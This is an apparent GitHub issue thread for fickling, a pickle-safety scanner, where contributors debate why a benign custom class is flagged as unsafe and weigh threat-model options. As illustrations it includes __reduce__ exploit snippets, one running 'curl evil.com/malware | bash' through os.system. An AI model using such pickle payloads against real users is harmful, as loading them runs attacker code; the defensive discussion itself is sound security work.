can't create a safe python class

[luccabb]

numpy_poc example has the following class as an example of an unsafe class:

...
class Test(object):
    def __init__(self):
        self.a = 1

    def __reduce__(self):
        # Runs the other PoC found in /examples
        return (os.system, ("python pytorch_poc.py",))
...

removing the unsafe __reduce__ method from the class is not enough to make it safe:

...
class Test(object):
    def __init__(self):
        self.a = 1
...

$ python example/numpy_poc.py
...
Is this is_likely_safe?
❌

Is this behavior expected?

[suhacker1]

Thanks for raising this issue! This is not expected behavior, so we should investigate further to see what's causing this.

[Bankde]

@luccabb Disclaimer: I'm not the maintainer.
TLDR; I think any pickled object instance can't be classified as safe due to its opcode behavior.

When pickle any instance, the pickle uses NEWOBJ op to create an instance which is considered a "call".

fickling/fickling/fickle.py

Line 1091 in ce3ace1

class NewObj(Opcode):

As a result, it won't pass the "not has_non_setstate_call" condition.
https://github.com/trailofbits/fickling/blob/ce3ace17be880c90b4d0fac87baf9daca9e256a4/fickling/fickle.py#L647C9-L647C23

NEWOBJ is introduced in protocol 2. In protocol 1, the pickle uses REDUCE op so it won't pass neither.
I'm not sure why pickle decides to use NEWOBJ when there is OBJ op.

Edit: nvm, OBJ and INST op are still a "call" and aren't safe. They are both also not supported in fickling.

[suhacker1]

This issue is still present with the most recent updates, but there's now more context as to what is causing this. For this PoC, I saved detailed safety analysis results into test.json.

PoC:

from fickling.fickle import Pickled
import pickle
import fickling.analysis as analysis

class Test:
    def __init__(self):
        self.a = 1

payload = Test()

with open("test.pkl", "wb") as f:
    pickle.dump(payload, f)

with open("test.pkl", "rb") as f:
    fickled_payload = Pickled.load(f)

safety_results = analysis.check_safety(fickled_payload, json_output_path="test.json")

test.json:

{
    "severity": "LIKELY_UNSAFE",
    "analysis": "`from __main__ import Test` imports a Python module that is not a part of the standard library; this can execute arbitrary code and is inherently unsafe\nCall to `Test()` can execute arbitrary code and is inherently unsafe",
    "detailed_results": {
        "AnalysisResult": {
            "NonStandardImports": "from __main__ import Test",
            "OvertlyBadEval": "Test()"
        }
    }
}

[dhalf]

This issue likely requires a clarification of the threat model and a discussion about whether fickling's current behavior is the right approach.

Two Different Pickle Threat Models

There are actually two distinct threat models for pickle security, and they're being conflated in this discussion:

Threat Model A: Malicious Pickle Files (__reduce__ attacks)

Example:

class Exploit:
    def __reduce__(self):
        return (os.system, ("curl evil.com/malware | bash",))

The resulting pickle bytecode contains:

GLOBAL 'os' 'system'
REDUCE

The pickle file directly references dangerous functions. The threat is in the pickle itself.

Threat Model B: Custom Classes (requires secondary compromise)

Example:

class Test:
    def __init__(self):
        self.a = 1

pickle.dump(Test(), open("data.pkl", "wb"))

The resulting pickle bytecode contains:

GLOBAL '__main__' 'Test'
NEWOBJ

Key point: The pickle does NOT contain the class code - only a reference to it. The threat requires the class definition in the loading environment to be malicious (e.g., via supply chain compromise or module substitution).

Discussion

Threat Model A is clearly a pickle security problem - the pickle itself is malicious and should be detected.
Threat Model B is more nuanced - it raises the question:

Should fickling flag pickles that require a secondary compromise (malicious class definition in the environment) to be dangerous?

Arguments FOR flagging custom classes (current behavior):

1. Defense in depth - Supply chain attacks are real
2. Cannot verify safety - Fickling can't inspect the class definition, only the pickle bytecode
3. Conservative security - Better to flag safe pickles than miss real attacks
4. Consistency - Treat all non-standard imports as potentially unsafe

Arguments AGAINST flagging custom classes:

1. Not a pickle problem - The pickle itself is "benign"; the threat is in the class definition
2. Requires secondary compromise - If the attacker already controls class definitions in your environment, they don't need the pickle to attack you
3. High false positive rate - Burdens legitimate development and testing workflows
4. Different security boundary - Module integrity (supply chain security) is a separate concern from pickle safety

Possible options:

Option 1 (current): Flag all non-standard imports as LIKELY_UNSAFE

• Pro: Maximum security, catches supply chain issues
• Con: High false positive rate

Option 2: Use different severity levels

• Use POSSIBLY_UNSAFE for custom classes (requires secondary compromise)
• Use LIKELY_UNSAFE for direct attacks (malicious pickle content)
• Pro: Distinguishes threat models
• Con: Still flags legitimate code

Option 3: Add a flag to control behavior

• --strict-imports flag to enable/disable custom class checking
• Pro: Users choose their security model
• Con: Default behavior still needs to be decided

Option 4: Only flag pickle content

• Only flag operations directly in the pickle (like os.system references)
• Don't flag class imports that require external compromise
• Pro: Clear security boundary, no false positives for custom classes
• Con: Misses supply chain compromise scenarios

[dhalf]

This PR is conceptually similar and better than option 3
#15